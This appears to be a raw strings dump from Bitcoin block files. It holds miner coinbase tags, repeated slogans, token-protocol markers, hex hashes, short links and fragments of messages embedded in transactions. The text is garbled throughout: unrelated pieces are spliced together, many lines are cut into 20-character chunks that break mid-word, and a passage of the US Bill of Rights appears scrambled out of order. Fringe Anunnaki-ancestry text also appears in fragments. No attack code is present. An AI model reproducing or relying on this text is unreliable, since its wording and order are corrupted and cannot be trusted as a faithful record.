File: blk00205.txt
80218a6992a1ea3bf4b0
2637a62a29944598c987
e9a80084b3e0e68d5cd5
Mined by sxzfafaaisinila
Mined by AntPool sy1
What is the Banking? Control.
$/mining.bitcoinaffiliatenetwork.com/
Operation "rakushka" :)
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
u=https://cpr.sm/aNSAyIRJSr
Time is always against us.
Mined by AntPool bj3
...BUT SWEAT MEMORIES REMAIN
CryptoGraffiti.info
has now "Quick Save
to Block Chain" feat
Mined by AntPool sy1
Mined by AntPool bj41|:
Time is always against us.
Mined by AntPool sy1
Mined by zhangzhiyuan
Mined by AntPool sy.=ufT
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Welcome to the real world.
Mined by AntPool sy.=ufT
u=https://cpr.sm/8XsgoAE-_c67
Mined by qq878849130
What is the Banking? Control.
u=https://cpr.sm/Nq9ujYXumUX
I love and accept my
Mined by AntPool bj57
Mined by AntPool bj41|:
Mined by f2poolscant
What is the Banking? Control.
Mined by AntPool bj41|:
Mined by cjs18665506868
Mined by AntPool bj41|:
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
JMined by li175640295
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool sz1%
Mined by zhangzhiyuan
Mined by f2poolandrew
CjMined by f2poolscant
Mined by chenguangfu1
t us, who? If not no
tweetbit.org - If no
w, when?000000000012
Mined by AntPool bj2
Mined by AntPool bj3
u=https://cpr.sm/oX94KjGfug8]
u=https://cpr.sm/ed8qFKdwNb8]
What is the Banking? Control.
Mined by chenning888
Mined by fanguangling
Mined by AntPool sy1
Mined by liugonggong
Mined by AntPool sy.=ufT
Mined by AntPool sy1
e6Mined by f2poolscant
Mined by wanyouyinli1
Mined by AntPool sz1%
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
Mined by sayimbaplzzzz
Mined by qq764744913
~'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sy.=ufT
Mined by zhanlongclam
Mined by dd18905616666
Mined by AntPool tl 5
Mined by AntPool sy1
Mined by f2poolscant
Mined by AntPool sy.=ufT
Mined by AntPool sz1%
Time is always against us.
u=https://cpr.sm/aNSAyIRJSr
Mined by AntPool bj57
Mined by AntPool bj57
PAACN+M0E4REQ1QjQyOU
IzMjJFRg==
PAACN+NkYyODJFOEUxRE
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PAACN+MjExODM2RjZBMj
cxODJDMA==
PAACN+RkE2RUYxQzFERU
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Mined by hb18905619999
PAACN+RDA4OUY0Njg0Mj
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PAACN+ODc2RkNBQ0U0RT
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PAACN+ODM0M0U2QTAwQ0
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PAACN+NEM0NjVDNjg0RD
kyN0QyQQ==
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
PAACN+NTE3NmU1YTkzOD
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Mined by dangyuanhao
Mined by f2poolscant
Mined by f2poolscant
Mined by AntPool sz1%
,-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
*j(1111111111111111111111111111111111111111
1 , "total": 10000000}
)j'0 {"name": "LeasePop Coins", "desc": ""
Mined by AntPool bj57
mifMined by f2poolscant
Mined by AntPool bj1
Mined by AntPool sy1
futurists.bit
Mined by ldh1017186861
Mined by zhangshuhua
Mined by AntPool tl!;
Mined by f2poolscant
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool sy1
What is the Banking? Control.
$/mining.bitcoinaffiliatenetwork.com/
?144"Hyperboloids of
ling for aye through
bour there Waves whi
ay out God's holy pa
ntomime. AT.jpg/7132
&%# #"(-90(*6+"#2D26
====================
====================
HIJSTUVWXYZcdefghijs
STUVWXYZcdefghijstuv
Time is always against us.
<70|"Science is a di
fferential equation.
Religion is a bound
ary condition"AMT2.j
88b99d3e2939373e06b8
http://ns.adobe.com/
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Mined by wanyouyinli1
File: blk00206.txt
Mined by AntPool sy.=ufT
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u=https://cpr.sm/0rJmn5bX5v
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Mined by AntPool sy.=ufT
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Mined by AntPool bj41|:
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Mined by f2poolscant
Mined by AntPool bj1
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u=https://cpr.sm/s2iGrDwqj3
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Mined by AntPool sy1
Mined by zhanlongclam
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Mined by sunruiqiang
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*j(7djzgfGh7wRRRRR021949XXXXX158XXX0.00141Q
*j(vyH9MZ7WMKRRRRR021949XXXXX166XXX0.14011Q
File: blk00207.txt
590c.org(^_^)v1412-alpha3
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Mined by AntPool bj1
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Mined by AntPool hz0;
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u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/i5vQnbitES8
Mined by AntPool hz0;
Mined by AntPool bj57
Follow the white rabbit.
u=https://cpr.sm/hWhr4M4TbD
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Hello Blockchain (6)!
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u=https://cpr.sm/GWXZuDRxm0
Welcome to the real world.
Operation "rakushka" :)
u=https://cpr.sm/GWXZuDRxm0
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Mined by AntPool sz1%
u=https://cpr.sm/cw4TGKIWUC8]
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u=https://cpr.sm/cw4TGKIWUCh
u=https://cpr.sm/GWXZuDRxm08]
Mined by zhanlongclam
9-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sy1
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File: blk00208.txt
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15e6f0ec5d9fd476412e
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Mined by AntPool bj57
Mined by AntPool sy1
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80612d40cbf8ced6d00c
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1 "total": 10000000}
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Mined by cyha20140108
Mined by AntPool sz1%
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
?1977|Dear Time Trav
e this <u>new</u> le
tter finds you in go
od spirits. Consider
this your personal
and <u>final</u> inv
itation to the 2014
I Am Time Loop Party
s party will be held
Dec 21st 2014 at 71
5 Broadway Apt 11 in
Fargo ND. The part
y starts at 10PM CST
and ends the follow
ing morning. With a
n infinite universe
of times and spaces
to visit you may be
asking yourself why
vist Fargo ND? Why
>Well, to be honest
i don't have a good
reason for you. I c
an only promise to t
hrow one hell of a p
arty for anyone that
decides to show up.
If you're feeling
a bit shy or its imp
ossible for you to b
e here in person ple
ase contact us via t
he bitcoin channel i
n the same format th
is message has reach
ed you in. We will
be monitoring it dur
<p>To prove you are
from our future you
must deliver a decry
pted version of the
attached encrypted m
essage before midnig
ht CST on Dec 21, 20
14. Shortly after m
idnight we will be d
ecrypting the messag
e and permanently ar
chiving it onto the
bitcoin blockchain.<
are transmitting a n
ew encrypted message
due to a potential
compromise of the or
iginal message.</u>
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Mined by kaichang888
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Operation "rakushka" :)
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590c.org(*_^)Overlay@Oracle
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Mined by AntPool sy1
1 "total": 10000000}
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1 s", "total": 10000000}
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1 Coins", "total": 10000000}
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Mined by AntPool sy1
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Mined by AntPool sz1%
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Time is always against us.
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Mined by nanjinghaowei
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Mined by AntPool bj1
Mined by AntPool sy1
Welcome to the real world.
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Mined by huangyuhang
SKU1932-12442-34215-TAIWAN
Time is always against us.
Mined by zhanlongclam
u=https://cpr.sm/_FZLWjVJNi
SKU-1023-124@Taichung.City
IPW(tm) = Investor P
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Mined by AntPool bj3
Time is always against us.
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ASCRIBESPOOLREGISTER
File: blk00209.txt
u=https://cpr.sm/B6x_rHC2N2
u=https://cpr.sm/sYm6vA6q8E8]
ASCRIBESPOOLREGISTER
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool sy1
GB2APDK Ninjas team 4ever.
Mined by AntPool bj2
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Follow the white rabbit.
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Mined by haosen3310363
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What is the Banking? Control.
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u=https://cpr.sm/ecZPftmTRz8]
SKU123-987-2345@590c.org
'NOTHING BIG CAME OUT OF SOMETHING SMALL
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Mined by AntPool bj3
Time is always against us.
Mined by AntPool sz1%
Mined by bao105244120
u=https://cpr.sm/hxwsfFLeK1H
u=https://cpr.sm/yrtFp9_A1YH
u=https://cpr.sm/yrtFp9_A1Y
u=https://cpr.sm/R3Y0TqKPoUH
Mined by AntPool bj1
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Mined by f2poolscant
Mined by f2poolscant
Mined by qq553967525
Mined by AntPool hz0;
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Mined by zhenghualong
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
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Mined by AntPool sy1
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...BUT SWEAT MEMORIES REMAIN
$/mining.bitcoinaffiliatenetwork.com/
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Time is always against us.
$/mining.bitcoinaffiliatenetwork.com/
What is the Banking? Control.
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sy1
TaichungCity-Taipei@590c.org
What is the Banking? Control.
Operation "rakushka" :)
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Mined by wangxingsmile
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Mined by AntPool bj3
Mined by z2637877948
'NOTHING BIG CAME OUT OF SOMETHING SMALL
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/\|--|/\
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Mined by AntPool bj4*
Mined by zhanlongclam
Operation "rakushka" :)
DreamsComeSlow&TheyGoSoFast
Mined by AntPool sy1
To the Lord Ea (Enki
) father and biolog
pe this message find
and in good health,
y your true sons her
e on this planet.We
e knowledge and wisd
om you bestowed upon
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life to you and the
rest of the Annunaki
n peace to Alalu,Anz
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negros rightful God
rth by bloodline and
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Mined by xiaojianying
Mined by AntPool bj0
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Mined by alexandr987
ASCRIBESPOOLREGISTER
File: blk00210.txt
Mined by AntPool sz1%
ASCRIBESPOOLREGISTER
Mined by zhangzhong19821
590c-org-TAIWAN-v1412-alpha3
Mined by AntPool bj57
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by menghuan123
If(TimeTrav).VisitMe
Mined by AntPool hz0;
DesmondJohnBernhardt
Mined by AntPool hz0;
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)j'Merry Xmas and Best Wishes From QJL@WPW
Mined by f2poolscant
Mined by f2poolscant
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Mined by AntPool hz0;
Mined by sjq2544946900
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
Follow the white rabbit.
Mined by zhanlongclam
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ASCRIBESPOOLREGISTER
Mined by hyq904043187
Mined by AntPool bj0
Mined by AntPool usa
Mined by AntPool hz0;
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Mined by AntPool hz0;
Mined by AntPool usa
https://tweetbit.org
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Mined by AntPool usa
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj2
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ASCRIBESPOOLREGISTER
Mined by AntPool bj3
ASCRIBESPOOLREGISTER
Welcome to the real world.
ASCRIBESPOOLTRANSFER
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Mined by AntPool sy1
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u=https://cpr.sm/o_GgsZgvyg
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREPLENISH
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1 Coin1", "total": 1000}
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-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
'NOTHING BIG CAME OUT OF SOMETHING SMALL
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Mined by AntPool hz0;
Mined by AntPool hz0;
&j$Merry Christmas everybody! Love, Jon
Mined by wangxingsmile
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj4*
J{=?Mined by f2poolscant
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Welcome to the real world.
Mined by AntPool bj57
A LEANORE BIENTOT PARMI NOUS
When in the course o
f cosmic evolution,
elopment enable sent
ith the universe in
more meaningful ways
ry for that same sen
tience to reconsider
e of its existence,
fforts towards fulfi
e, at the dawn of re
corded history, we e
xist as a scattered,
nized intelligence.
The same biological
gradually bestowed
also instilled a fie
rce competition for
resources within us.
a ferocious ego that
demands to be valid
ill damage or consum
e the prosperity of
t of this goal. The
se traits that once
ecies into a more no
ble version of itsel
ng incompatible with
our rising sphere o
t these facts be sub
mitted to a candid u
stence that consists
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rbitrary value or ni
l, is not an existen
ce worth salvaging o
he universe that we
reside in exists som
ewhere in between th
d has been growing i
nto an increasingly
ince its moment of g
lity of the universe
to regard itself re
omplexity, otherwise
the sentience that
created this message
nd the one that obse
rves it are not poss
in lieu of any other
assigned purpose, w
vancement of what ha
s brought us to our
our climb towards g
reater understanding
his is the alpha, th
e current goal of se
ntience in the unive
at we know that are
worth preserving ari
existence of this me
ssage and the one wh
th proof of the same
d complexity of univ
hifting value it tra
nslates to, greater
rise to greater meth
ods by which we can
pulate our reality.
This will ultimatel
y allow us to accomp
y to prevent our own
t is clear that when
a civilization reac
in its development,
it must cross a crit
ical threshold. Tha
her it can overcome
the destructive vari
ve values that drove
it to its current l
it does not overcom
e its own nature, it
is doomed to either
competition or stagn
ate until a greater
o the belief that th
is instance of senti
all endure. We will
take whatever steps
e the survival and c
ontinued growth of o
ur strand of awarene
e goal of joining an
d contributing to th
f the universe itsel
we hold the followi
ng principals true:
offers our civilizat
ion an unprecented o
ecentralize power am
ong competing entiti
, in perpetuity, the
knowledge and histo
ry of our ascention.
importance of this
protocol, it is of a
ccess to the blockch
ain remain unobstruc
o any member of civi
lization sentient en
efore, the users and
participants of the
emly publish and dec
lare that this share
d record and the met
ss to it are, and of
right ought to be f
. They are absolved
from ownership or c
or entities. None
shall restrict or hi
nder access to them.
oration, or persons
shall have governanc
unless granted by t
he internal consensu
s of the network its
lue or significance
the blockchain repre
mined by the users a
lone, and no entity
shall obstruct that
or the support of th
is declaration, with
a firm reliance on
tient complexity sha
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Mined by AntPool bj1$
b1a4846e2fa2086dfdf0
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8a0f6a5c0d3233ab792d
e8b4686cb601d1da507e
d6f475189b11d1846923
ab792de8b4686cb601d1
da507ed6f475189b11d1
9c4e3783778a06dc06e6
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5e54a332c6a5a5a925a6
9fa8bfe40cf71bc22d0c
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c2d8>198<5e54a332c6a
5a5a925a69fa8bfe40cf
71bc22d0cb8acbc4d78f
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dd0c473b90e73440ca97
8298ab251fdf8341638b
8487e2d19f615c405cce
Mined by AntPool bj1$
Mined by zhanlongclam
Welcome to the real world.
Mined by AntPool bj1$
Mined by tdgwei20088850
/155>File Name: Some
where In Venice - PR
5166D0CC2F9F33EBA67
23F360675843E8ACB528
C93ECC201B4AA6889C31
Somewhere In Venice.
&0P40,,0bFJ:Ptfzxrfp
()*456789:CDEFGHIJST
UVWXYZcdefghijstuvwx
*56789:CDEFGHIJSTUVW
022e0c6ebd797c876757
fcafdb429a42ca773d99
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8bbb:594*022e0c6ebd7
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9c13b0feb75115019469
2db7980777cd0534b47f
ad0c4dd7b7ebe1580a9a
eb4f6b96c4cc6fc71ad4
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool bj2
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sc7
#The truth is that there is no spoon
Mined by AntPool sc7
Mined by AntPool sy1
What is the Banking? Control.
Operation "rakushka" :)
Mined by AntPool sy1
NjLKoday is Feb 22 2014 and this is dexX @ bitwatch.co. Cheers and stay fluffy!
u=https://cpr.sm/iKMOzu0VeZ`
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool bj2
Mined by zhanlongclam
Mined by AntPool bj1$
WelcomeToCoinass////
Welcome to the real world.
Mined by eurotelminer
What is the Banking? Control.
wMined by f2poolscant
Mined by AntPool usa
handle:aoeui;purpose
handle:aoeui;purpose
Mined by AntPool sc7
Mined by AntPool bj1$
GB2APDK Ninjas team 4ever.
File: blk00212.txt
a redress of grieva
especting an establi
r of the press; or t
shment of religion,
le peaceably to asse
he right of the peop
n the Government for
shall make no law r
ree exercise thereof
mble, and to petitio
or prohibiting the f
; or abridging the f
Mined by f2poolscant
rights, shall not be
tes, are reserved to
nd district wherein
or indictment of a G
e been committed, wh
r Arms, shall not be
essary to the securi
jury of the State a
war, but in a manne
ble cause, supported
States by the Consti
ople to keep and bea
in their persons, h
or disparage others
nd seizures, shall n
people to be secure
effects, against unr
r be deprived of lif
ishment of religion,
the States respecti
any house, without t
wner, nor in time of
versy shall exceed t
nor shall any perso
dy of life or limb;
with the witnesses
shall, in time of pe
ssue, but upon proba
ital, or otherwise i
nor excessive fines
against him; to have
to answer for a cap
c use, without just
freedom of speech,
easonable searches a
and to be informed
n be subject for the
joy the right to a s
s shall make no law
d, and no fact tried
ry shall be preserve
twice put in jeopar
sses in his favor, a
rand Jury, except in
e rules of the commo
for obtaining witne
d Militia, being nec
ar or public danger;
gated to the United
ty of a free State,
all not be required,
ocess of law; nor sh
nor shall be compell
tion, and particular
against himself, no
all private property
of; or abridging the
on; to be confronted
semble, and to petit
nd to have the Assis
ted by it to the Sta
ces, or in the Milit
ial, by an impartial
ace be quartered in
retained by the peop
minal prosecutions,
the accused shall en
right of trial by ju
ss on a presentment
ople peaceably to as
respecting an establ
ly describing the pl
for a redress of gri
ned in any Court of
ich district shall h
he land or naval for
r to be prescribed b
ia, when in actual s
case to be a witness
at common law, where
the right of the pe
the value in contro
of the nature and ca
things to be seized.
erty, without due pr
eration in the Const
person shall be held
itution, of certain
e otherwise re-exami
the United States, t
free exercise there
ace to be searched,
Operation "rakushka" :)
Operation "rakushka" :)
Mined by sxzfafaaisinila
Mined by AntPool hz0;
/109"File Name: ADD_
Proof: 67D0FD38FB9B
6EB428F32D63A3413F93
E883316A4CE149CA455D
Mined by AntPool hz0;
/110:File Name: ADD_
e Proof: 67D0FD38FB9
B6EB428F32D63A3413F9
3E883316A4CE149CA455
Mined by liugonggong
Mined by AntPool sy1
Follow the white rabbit.
Mined by f2poolscant
Mined by AntPool bj3
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Welcome to the real world.
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
well as anything el
to my first journal
work on bitcomm, as
entry. This is a pl
ace for me to log my
'NOTHING BIG CAME OUT OF SOMETHING SMALL
ASCRIBESPOOLTRANSFER
If this goes accordi
ng to plan, every ke
ectly into the bitco
ve it's own journal
address embedded dir
y will be able to ha
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
vious post's subject
esting out a correct
issue of the "S" dis
In this post, I am t
appearing in the pre
Mined by AntPool bj0
Mined by chenxuemei1017
Mined by AntPool bj2
ASCRIBESPOOLREPLENISH
Mined by AntPool sz1%
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
$/mining.bitcoinaffiliatenetwork.com/
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
What is the Banking? Control.
i-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Welcome to the real world.
ASCRIBESPOOLREPLENISH
...BUT SWEAT MEMORIES REMAIN
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
Mined by AntPool bj2
ASCRIBESPOOLTRANSFER
Time is always against us.
"j A NOTRE PETITE NANON NEE CE JOUR
Mined by AntPool usa
?444*Expired Kodak E
ktachrome-X circa 19
63-1974, exposed Sum
ile Proof: 95DE340EF
64C683E7FA199A6427E0
477F9401F057D2007216
File Proof: A42A5E65
EE6BAB742D41B5AF92AE
F4506CFE7917E4D5F498
e Name: 6546.003.tif
837B571AED495D861EDC
BF7D688E69858D845B84
.001-archive.jpg|170
ight (c) 1998 Hewlet
EC http://www.iec.ch
-2.1 Default RGB col
1 Default RGB colour
wing Condition in IE
Condition in IEC6196
89:CDEFGHIJSTUVWXYZc
CDEFGHIJSTUVWXYZcdef
003-archive.jpg/1846
Mined by f2poolscant
ght (c) 1998 Hewlett
2.1 Default RGB colo
Default RGB colour
ing Condition in IEC
,Reference Viewing C
ondition in IEC61966
9:CDEFGHIJSTUVWXYZcd
DEFGHIJSTUVWXYZcdefg
-6551.002-archive.jp
Copyright (c) 1998 H
ewlett-Packard Compa
61966-2.1 Default RG
B colour space - sRG
66-2.1 Default RGB c
e Viewing Condition
wing Condition in IE
*456789:CDEFGHIJSTUV
WXYZcdefghijstuvwxyz
6789:CDEFGHIJSTUVWXY
d6c95d45aef17b93556a
5eeefee41c2ac64a928a
af806dd803c6c8cd31c5
4103|1848*d6c95d45ae
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2ac64a928aaf806dd803
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a5af420ba1205a695bbc
d40bab430ce1d768dddc
13c355029b8d51aee9e9
9bcd6c43be703f35bc7b
e10304527ba1aef65c54
3ff3ca444d410533b0a0
811a28d63f5393772be5
666bb01df5163309910c
3773256461d7301f46be
109a58d8f728b182eea8
7a7c8ce86158306de45d
e55c02da9a6948a12152
61bd6e75af3ca30c02f4
4e871f1b8cca9c8d673c
727edc7f9e4a1dee2041
dac75b4bb003711e51db
aa7065ecc31c6aa5217b
6789ebe09e2a8fd8493b
bc8ed1061cbe63790603
7f742742e47c5abbaec3
0cb43f758b7ad7ba7ce8
7defac28ccba91354ce3
6f660d9b9797afc4f0de
d28c193dae20a61461ca
23988676cdb513a09596
634f3376e19f15ca97f0
84f4f0e3af5b906bfe3e
c148a5db8031b6ca14fa
e87c5c9adbdb7a710b05
67188de9d5b18f017a6e
619d15fd6cab091a3f1f
c8096ba8b2b750f1baba
099185479614c1e627d0
66c8e18e67318918d631
f45cd845372a4ab5aff2
6cff325b53d6fa4f10f4
7d28d13586272ed6f6f0
27176b50fb17c4bdd451
b7069442eb4f624b365c
f1e6a457cd4502f954a3
029e0e62710748fb38a7
bd953fa9b57d3464784a
Mined by AntPool bj2
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool sy1
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj1$
Mined by AntPool sy1
Mined by wangxingsmile
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj2
Mined by AntPool bj0
for the first big date
Welcome to the real world.
Mined by AntPool hz0;
What is the Banking? Control.
'j%Baby,marry u and happy u is my dream.
Welcome to the real world.
Mined by supercloud2014
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj1$
Mined by AntPool usa
.Mined by f2poolscant
...BUT SWEAT MEMORIES REMAIN
Mined by aa254907107
Mined by AntPool bj0
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sy1
Mined by AntPool sc$
Mined by AntPool sy1
GB2APDK Ninjas team 4ever.
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj0
'j%BONNES FETES AUX LAVERGNE (FRANCE 24)
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool bj1$
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
Mined by wangxingsmile
Mined by sjq2544946900
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool bj3
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
Mined by zhaodong1982
Follow the white rabbit.
Mined by AntPool hz0;
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
bitcoin rocks in 2015
Mined by klminer2014
Mined by AntPool sz1
ASCRIBESPOOLREPLENISH
bmission in Bitcomm
using a gui interfac
Now I am trying to g
et the message packe
ts to form correctly
the submission land
Now I am testing out
the submission land
Now I am testing out
the submission land
Now I am testing out
the submission land
Now I am testing out
ASCRIBESPOOLREPLENISH
Mined by AntPool usa
One last test for to
ASCRIBESPOOLREPLENISH
Mined by AntPool usa
%j#Bon anniversaire ma cherie - ALFR49
Mined by diwenbin521
Mined by AntPool hz0;
Mined by AntPool sc$
LYLYJ19920203 By Jia
Mined by AntPool bj1$
Mined by AntPool sy1
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by zhouyong1118
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by zhaodong1982
ASCRIBESPOOLREPLENISH
Mined by AntPool sy1
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
(j&0 awesome jobs -> http://goo.gl/vWhinb
d bitcoinmesanger, a
bitcomm is now calle
nd it has been moved
links to the externa
l world are now oper
01234567890123456789
Mined by f2poolscant
the cashier functio
I am now testing out
may it send from the
Follow the white rabbit.
Mined by AntPool sc$
is my wallet back in
...BUT SWEAT MEMORIES REMAIN
'j%{"total": 10000000, "desc": "", "name
File: blk00213.txt
Mined by AntPool bj0
This is my first tes
t of the journal tem
I'm testing out the
Lets see if it works
is time to get the s
Trying yet again, th
'j%{"total": 10000000, "desc": "", "name
#The truth is that there is no spoon
Mined by AntPool bj1$
Mined by AntPool sc$
Mined by AntPool sc$
ASCRIBESPOOLREPLENISH
/351:COMPRESSION TES
|353|COMPRESSION TES
EN
e9bc8f011fc8c2519e8e
6a787b74ffd756938f86
02bb66f998584f7dd047
c229:660<e9bc8f011fc
8c2519e8e6a787b74ffd
756938f8602bb66f9985
f011fc8c2519e8e6a787
b74ffd756938f8602bb6
e6a787b74ffd756938f8
602bb66f998584f7dd04
2519e8e6a787b74ffd75
6938f8602bb66f998584
11fc8c2519e8e6a787b7
4ffd756938f8602bb66f
9bc8f011fc8c2519e8e6
a787b74ffd756938f860
2bb66f998584f7dd047c
19e8e6a787b74ffd7569
38f8602bb66f998584f7
fc8c2519e8e6a787b74f
fd756938f8602bb66f99
c8f011fc8c2519e8e6a7
87b74ffd756938f8602b
b66f998584f7dd047c22
66397dbcb815c056e96d
352064781afe935d52ee
Mined by AntPool bj0
"123>TEST COMPRESSIO
:360*TEST COMPRESSIO
N OF DUPLICATE DATA
IN ARCHIVE AND LEDGE
e47a6e6dc22ef4ec1f60
219245b2aabb1646d4e5
f0859d9247e5acf35c53
bc75?660"e47a6e6dc22
ef4ec1f60219245b2aab
b1646d4e5f0859d9247e
e6dc22ef4ec1f6021924
5b2aabb1646d4e5f0859
0219245b2aabb1646d4e
5f0859d9247e5acf35c5
4ec1f60219245b2aabb1
646d4e5f0859d9247e5a
dc22ef4ec1f60219245b
2aabb1646d4e5f0859d9
47a6e6dc22ef4ec1f602
19245b2aabb1646d4e5f
0859d9247e5acf35c53b
c1f60219245b2aabb164
6d4e5f0859d9247e5acf
22ef4ec1f60219245b2a
abb1646d4e5f0859d924
a6e6dc22ef4ec1f60219
245b2aabb1646d4e5f08
59d9247e5acf35c53bc7
e3ea1dfd016ca8761a8c
d25acc1e97396b24e605
Mined by AntPool sz1
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
e0822a16eabbf157a2c7
d2dffafa5628d26b46f8
d071ad3cfec5d8ea11f1
cd00:264*e0822a16eab
bf157a2c7d2dffafa562
8d26b46f8d071ad3cfec
166ff2340fa4eae5560f
6bd736ae368a8ed88305
e5560f6bd736ae368a8e
d883055c9af350f511c1
c0cb4359acc333fdc33d
0a979bac825d9b5d08ea
What is the Banking? Control.
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
?195|Expired Kodak E
ktachrome-X circa 19
63-1974, exposed Sum
Proof: F63DEA9D84FCC
F76741F89F500132BEC2
7CC78533CD3FD774A36C
The Capital 6549.012
(c) 1998 Hewlett-Pa
Default RGB colour
fault RGB colour spa
Condition in IEC619
ference Viewing Cond
ition in IEC61966-2.
iiiiiiiiiiiiiiiiiiii
iiiiiiiiiiiiiiiiiiii
DEFGHIJSTUVWXYZcdefg
GHIJSTUVWXYZcdefghij
ASCRIBESPOOLUNCONSIGN
Mined by AntPool sc$
580353524975746eb4ea
f3e4a30c668ccd9df2db
a9e06d5a0d842bdbb1b1
04b2*594?58035352497
5746eb4eaf3e4a30c668
ccd9df2dba9e06d5a0d8
9c355a7e4dc69bb1b288
adacfb1b79c5f4310e1d
961aacc1bda34b7dac8c
61be4d3cadfb440b0891
7ee95fc01e8f63bc3d7c
18247e29ea1a5a79f243
d9815a8c6a934243cf1f
ff5a3a1a86cb43bef5bf
6e685265ac12f2c26970
450c84fa21a4d8552882
19be23c76dd2c7c0ca22
b649119f141cb2a09a93
3e21334fe8f73f69dcb5
85d9fc6200cc47f86e65
df0601c34a583e57e1bf
bfa60bbfaa8c2fae874f
4eff284fe25396abdd3a
8e814bd5b7e90ff66678
And now from another
Operation "rakushka" :)
Mined by zhanlongclam
Mined by zhanlongclam
:20141231,BTC1915LTC16BTS0.096
Mined by AntPool sy1
Mined by AntPool hz0;
Mined by AntPool bj5
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/TXYYDliH2y
ASCRIBESPOOLREGISTER
Follow the white rabbit.
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
^CMined by f2poolscant
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLUNCONSIGN
HappyNewYear@590c.org@TW
ASCRIBESPOOLREPLENISH
